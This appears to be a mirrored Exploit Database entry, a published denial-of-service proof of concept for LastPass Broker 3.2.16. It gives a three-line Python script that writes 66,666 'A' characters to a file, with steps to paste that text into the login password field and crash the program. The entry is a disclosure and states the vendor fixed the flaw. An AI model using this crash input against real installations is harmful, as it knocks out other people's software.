Last PassBroker 3.2.16 – Stack Buffer Overflow (PoC)

• Exploit Database
• 108 阅读

• 作者： Un_N0n
  日期： 2015-10-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38405/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  ''' ******************************************************************************************** # Exploit Title: Last PassBroker Stack-based BOF # Date: 9/23/2015 # Exploit Author: Un_N0n # Software Link: https://lastpass.com/download # Version: 3.2.16 # Tested on: Windows 7 x86(32 BIT) ********************************************************************************************   [Steps to Produce the Crash]: 1- open 'LastPassBroker.exe'. 2- A Input-Box will appear asking for Email and Password, In password field paste in the contents of crash.txt 3- Hit Login. ~Software will Crash.   [Code to produce crash.txt]: ''' junk = "A"*66666 file = open("CRASH.txt",'w') file.write(junk) file.close()   ''' > Vendor Notified, Fixed in latest Release. ********************************************************************************************** '''